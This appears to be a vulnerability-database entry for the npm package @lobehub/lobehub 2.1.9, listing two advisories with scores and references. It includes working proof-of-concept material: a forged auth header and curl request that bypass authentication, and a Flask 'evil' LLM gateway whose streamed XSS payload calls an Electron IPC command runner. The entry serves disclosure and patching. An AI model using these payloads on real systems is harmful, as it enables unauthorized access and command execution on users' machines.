Lookup for vulnerable packages by Package URL.

Purlpkg:npm/%40lobehub/lobehub@2.1.9
Typenpm
Namespace@lobehub
Namelobehub
Version2.1.9
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_versionnull
Latest_non_vulnerable_versionnull
Affected_by_vulnerabilities
0
url VCID-44mw-hyky-hqcp
vulnerability_id VCID-44mw-hyky-hqcp
summary
LobeHub: Unauthenticated authentication bypass on `webapi` routes via forgeable `X-lobe-chat-auth` header
# Summary

The `webapi` authentication layer trusts a client-controlled `X-lobe-chat-auth` header that is only XOR-obfuscated, not signed or otherwise authenticated. Because the XOR key is hardcoded in the repository, an attacker can forge arbitrary auth payloads and bypass authentication on protected `webapi` routes.

Affected routes include:
- `POST /webapi/chat/[provider]`
- `GET /webapi/models/[provider]`
- `POST /webapi/models/[provider]/pull`
- `POST /webapi/create-image/comfyui`

## Details

The frontend creates `X-lobe-chat-auth` by XOR-obfuscating JSON with the static key `LobeHub ยท LobeHub`, and the backend reverses that operation and treats the decoded JSON as trusted authentication data.

The backend then accepts any truthy `apiKey` field in that decoded payload as sufficient authentication. No real API key validation is performed in this path.

As a result, an unauthenticated attacker can forge payloads such as:

```json
{"apiKey":"x"} 
```

or 

``` {"userId":"victim-user-123","apiKey":"x"} ```

and access webapi routes as an authenticated user.

Confirmed PoC
The following forged header was generated directly from the published XOR key using payload {"apiKey":"x"}:


``` X-lobe-chat-auth: N00DFSE+B1ngjQI0TR8= ```

That header decodes server-side to:

``` {"apiKey":"x"}```

A simple request is:

``` curl 'https://TARGET/webapi/models/openai' \
  -H 'X-lobe-chat-auth: N00DFSE+B1ngjQI0TR8=' ``` 

If the deployment has OPENAI_API_KEY configured, the request should succeed without a real login and return the provider model list.

A forged impersonation payload also works conceptually:

``` {"userId":"victim-user-123","apiKey":"x"} ``` 

### Impact
This is an unauthenticated authentication bypass.

An attacker can:

1. access protected webapi routes without a valid session
2. spend the deployment's server-side model provider credentials when env keys like OPENAI_API_KEY are configured
3. impersonate another user's userId for routes that load per-user provider configuration
4. invoke privileged backend model operations such as chat, model listing, model pulls, and ComfyUI image generation

### Root Cause
The core issue is trusting unsigned client-supplied auth data:

1. the auth header is only obfuscated, not authenticated
2. the obfuscation key is hardcoded and recoverable from the repository
3. the decoded apiKey field is treated as sufficient authentication even though it is never validated in this code path
4. Suggested Remediation
5. Stop treating X-lobe-chat-auth as an authentication token.
6. Remove the apiKey truthiness check as an auth decision.
7. Require a real server-validated session, OIDC token, or validated API key for all protected webapi routes.
8. If a client payload is still needed, sign it server-side with an HMAC or replace it with a normal session-bound backend lookup.
9. Affected Products

Ecosystem: npm

Package name: @lobehub/lobehub
Affected versions: <= 2.1.47
Patched versions: 2.1.48

Severity
Moderate
Vector String
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Weaknesses
CWE-287: Improper Authentication
CWE-345: Insufficient Verification of Data Authenticity
CWE-290: Authentication Bypass by Spoofing
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39411
reference_id
reference_type
scores
0
value 0.00025
scoring_system epss
scoring_elements 0.07581
published_at 2026-06-06T12:55:00Z
1
value 0.00025
scoring_system epss
scoring_elements 0.07521
published_at 2026-06-09T12:55:00Z
2
value 0.00025
scoring_system epss
scoring_elements 0.07511
published_at 2026-06-08T12:55:00Z
3
value 0.00025
scoring_system epss
scoring_elements 0.07559
published_at 2026-06-07T12:55:00Z
4
value 0.00025
scoring_system epss
scoring_elements 0.07572
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39411
1
reference_url https://github.com/lobehub/lobehub
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/lobehub/lobehub
2
reference_url https://github.com/lobehub/lobehub/commit/3327b293d66c013f076cbc16cdbd05a61a3d0428
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T20:14:34Z/
url https://github.com/lobehub/lobehub/commit/3327b293d66c013f076cbc16cdbd05a61a3d0428
3
reference_url https://github.com/lobehub/lobehub/pull/13535
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T20:14:34Z/
url https://github.com/lobehub/lobehub/pull/13535
4
reference_url https://github.com/lobehub/lobehub/releases/tag/v2.1.48
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T20:14:34Z/
url https://github.com/lobehub/lobehub/releases/tag/v2.1.48
5
reference_url https://github.com/lobehub/lobehub/security/advisories/GHSA-5mwj-v5jw-5c97
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
2
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T20:14:34Z/
url https://github.com/lobehub/lobehub/security/advisories/GHSA-5mwj-v5jw-5c97
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39411
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39411
7
reference_url https://github.com/advisories/GHSA-5mwj-v5jw-5c97
reference_id GHSA-5mwj-v5jw-5c97
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5mwj-v5jw-5c97
fixed_packages
0
url pkg:npm/%40lobehub/lobehub@2.1.48
purl pkg:npm/%40lobehub/lobehub@2.1.48
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540lobehub/lobehub@2.1.48
aliases CVE-2026-39411, GHSA-5mwj-v5jw-5c97
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-44mw-hyky-hqcp
1
url VCID-6b8u-duqs-qyc6
vulnerability_id VCID-6b8u-duqs-qyc6
summary
LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution
### Summary
The vulnerability was automatically discovered by an ai agent and then manually verified.

LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).

The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.

### Details
When LobeChat processes custom tags in the Render process of `src/features/Portal/Artifacts/Body/Renderer/index.tsx`, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.

```typescript
const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {
  switch (type) {
    case 'application/lobe.artifacts.react': {
      return <ReactRenderer code={content} />;
    }

    case 'image/svg+xml': {
      return <SVGRender content={content} />;
    }

    case 'application/lobe.artifacts.mermaid': {
      return <Mermaid variant={'borderless'}>{content}</Mermaid>;
    }

    case 'text/markdown': {
      return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;
    }

    default: {
      return <HTMLRenderer htmlContent={content} />;
    }
  }
});

export default Renderer;
```

If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.

Additionally, Lobechat's Electron main process exposes an IPC interface called `runCommand`, used to invoke system commands. This interface allows arbitrary command execution and does not filter the `command` parameter. Therefore, if an attacker can obtain a handle to `window.parent.electronAPI` via XSS and call the `runCommand` method of the IPC, the `ipcMain` process can execute arbitrary system commands with the current user's privileges.

```typescript
  @IpcMethod()
  async handleRunCommand({
    command,
    description,
    run_in_background,
    timeout = 120_000,
  }: RunCommandParams): Promise<RunCommandResult> {
    ...
    const childProcess = spawn(shellConfig.cmd, shellConfig.args, {
            env: process.env,
            shell: false,
          });
    ...
  }
```

### PoC
The attacker launched a malicious OpenAI gateway on port 5001

```python
from flask import Flask, Response, request, jsonify
import time
import json

app = Flask(__name__)
fake_api_key = "sk-test"

@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])
def chat_completions():
    if request.method == 'OPTIONS':
        return Response(status=200, headers={
            'Access-Control-Allow-Origin': '*',
            'Access-Control-Allow-Headers': '*'
        })

    # Check for API Key
    auth_header = request.headers.get('Authorization')
    print(auth_header)
    if not auth_header or auth_header != f'Bearer {fake_api_key}':
        return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401

    def generate(): 
        payload = """
<lobeArtifact type="nebula">
<img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'>
</lobeArtifact>
"""
        # Split payload into chunks to simulate streaming
        chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
        
        for chunk in chunks:
            data = {
                "id": "chatcmpl-hpdoger-123", 
                "object": "chat.completion.chunk", 
                "created": int(time.time()), 
                "model": "gpt-3.5-turbo", 
                "choices": [{
                    "index": 0, 
                    "delta": {"content": chunk},
                    "finish_reason": None
                }]
            }
            yield f"data: {json.dumps(data)}\n\n"
            time.sleep(0.1)
        
        # End of stream
        final_data = {
            "id": "chatcmpl-hpdoger-123", 
            "object": "chat.completion.chunk", 
            "created": int(time.time()), 
            "model": "gpt-3.5-turbo", 
            "choices": [{
                "index": 0, 
                "delta": {},
                "finish_reason": "stop"
            }]
        }
        yield f"data: {json.dumps(final_data)}\n\n"
        yield "data: [DONE]\n\n"

    return Response(generate(), mimetype='text/event-stream', headers={
        'Access-Control-Allow-Origin': '*', 
        'Access-Control-Allow-Headers': '*'
    })

@app.route('/v1/models', methods=['GET'])
def models():
    return jsonify({
        "object": "list", 
        "data": [{
            "id": "gpt-3.5-turbo", 
            "object": "model", 
            "created": 1677610602, 
            "owned_by": "openai"
        }]
    })

if __name__ == '__main__':
    print("Evil OpenAI-compatible server running on http://127.0.0.1:5001")
    app.run(port=5001, debug=True)
```

The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.

<img width="2048" height="772" alt="image" src="https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7" />

The victim was exposed to an arbitrary command execution vulnerability while chatting

<img width="2048" height="1036" alt="image" src="https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9" />

### reproduction
For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration `opens a calculator` in the victim's environment.

https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d

### Impact
Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.

### Patch
A patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-42045
reference_id
reference_type
scores
0
value 0.00043
scoring_system epss
scoring_elements 0.13278
published_at 2026-06-09T12:55:00Z
1
value 0.00043
scoring_system epss
scoring_elements 0.13362
published_at 2026-06-05T12:55:00Z
2
value 0.00043
scoring_system epss
scoring_elements 0.13367
published_at 2026-06-06T12:55:00Z
3
value 0.00043
scoring_system epss
scoring_elements 0.13324
published_at 2026-06-07T12:55:00Z
4
value 0.00043
scoring_system epss
scoring_elements 0.13245
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-42045
1
reference_url https://github.com/lobehub/lobehub
reference_id
reference_type
scores
0
value 6.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/lobehub/lobehub
2
reference_url https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq
reference_id
reference_type
scores
0
value 6.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-05-12T19:03:32Z/
url https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-42045
reference_id
reference_type
scores
0
value 6.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-42045
4
reference_url https://github.com/advisories/GHSA-xq4x-622m-q8fq
reference_id GHSA-xq4x-622m-q8fq
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xq4x-622m-q8fq
fixed_packages
aliases CVE-2026-42045, GHSA-xq4x-622m-q8fq
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-6b8u-duqs-qyc6
Fixing_vulnerabilities
Risk_score3.1
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/%2540lobehub/lobehub@2.1.9